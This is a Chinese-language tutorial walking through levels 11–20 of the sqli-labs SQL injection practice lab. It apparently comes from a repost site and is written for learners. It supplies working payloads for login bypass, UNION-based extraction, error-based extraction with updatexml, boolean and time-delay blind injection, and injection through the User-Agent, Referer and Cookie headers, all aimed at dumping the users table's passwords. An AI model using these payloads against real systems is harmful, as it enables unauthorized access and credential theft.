sqli-labs通關教程----11~20關


第十一關

從第十一關開始,就開始用post來提交數據了,我們每關的目的都是獲取users表下password字段的內容。
post是一種數據提交方式,它主要是指數據從客戶端提交到服務器端,例如,我們常常使用的用戶登錄模塊、網站的留言板模塊等,在這些功能模塊中我們提交的數據都是以
我們可以用抓包軟件來修改post提交的數據。
首先測試一下是字符型還是數字型,再輸入的用戶名和密碼之間輸入一個'查看是否報錯

可以看到,有報錯,說明是字符型注入,由於我們不知道密碼,但是因為這里有sql注入我們可以用個萬能密碼,username輸入admin' or '1'='1 --+ 之后不管我們輸入什么密碼都可以登錄

可以看到有兩個顯示位,之后思路還是跟之前第一關一樣,先查有幾個字段

看到3報錯那就輸入2頁面正常了。然后就是常規操作了。
爆數據庫名:

uname=7admin' union select version(),database()#&passwd=123&submit=Submit


爆表名:

uname=7admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit


爆列名:

uname=7admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit


查所有用戶名和密碼:

uname=7admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十二關

這關和十一關差不多就是閉合改成了")
爆內容:

uname=7admin") union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十三關

這關只有輸入為真回顯字母為藍色,假為紅色,也會報錯,所以可以用報錯和盲注。這里是用')來閉合

具體的步驟看前面第五關,這里就用報錯注入。
爆密碼:

&uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit

第十四關

這關不會報錯,可以用盲注。測試一下發現是”雙引號閉合,然后又是常規套路。
爆密碼:

&uname=admin" and substr((select password from users limit 0,1),1,3)='dum'#&passwd=admin&submit=Submit

第十五關

這一關直接用上一關的payload也可以(改單引號),想多掌握一點可以用時間延遲來注入
爆表名:

&uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)#&passwd=admin&submit=Submit


爆數據:

&uname=admin' and if(substr((select password from users limit 0,1),1,3)='dum',sleep(5),1)#&passwd=admin&submit=Submit

第十六關

這一關一樣,只是把閉合改為")

第十七關

這關對用戶名的輸入很嚴謹怎么變形都不行,但是對密碼的輸入控制的不嚴謹,這關查看源代碼發現,不管輸入什么密碼都是對的,但是通過order by還是看得出又sql注入

既然怎么輸入都是對的,那盲注就沒用了,但是有報錯這里就用報錯注入,之前第五關有步驟,不再贅述。
爆數據庫名:

爆表名:

到了查詢數據的時候,發現不能直接查詢會報錯

因為在同一個語句中,不能先查詢表中的值再update這個表,可以先把查詢出的值作為一個派生表,然后在這個派生表里面再次進行查詢。
爆數據:

uname=admin&passwd=7' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit

第十八關

這關對username和password的輸入都做了嚴格的過濾,那怎么辦呢,這關一進來就顯示了我們的ip,就聯想到了header頭注入,修改http頭的User-Agent參數,查看源碼發現是insert函數寫入數據庫,
然后我們得知道mysql Insert語句的用法
Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’,11111,1,2,3,4);
要構造閉合首先在我們可以輸入的部分就是‘xxxx’里插入報錯函數,
注意要成功登陸才能注入
報數據庫:

' and updatexml(1,concat(0x7e,database()),0) and '1
' and updatexml(1,concat(0x7e,database()),1),"1","1")#

這里語句可以用and,也可以用or

' or updatexml(1,concat(0x7e,database()),0) or '1


爆列名:

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1


爆內容:

' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1

第十九關

這關跟上關一樣,就是換成了修改referer的值,一樣的payload

第二十關

這關根據題目提示應該是在cookie上進行修改,看回顯cookie的格式是uname=admin,所以構造payload

uname=admin' and updatexml(1,concat(0x7e,(select database())),0) #


這里有個坑,就是不能用POST方法提交數據,不然回顯就很奇怪...

爆表名:

uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #

之后就是常規操作了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM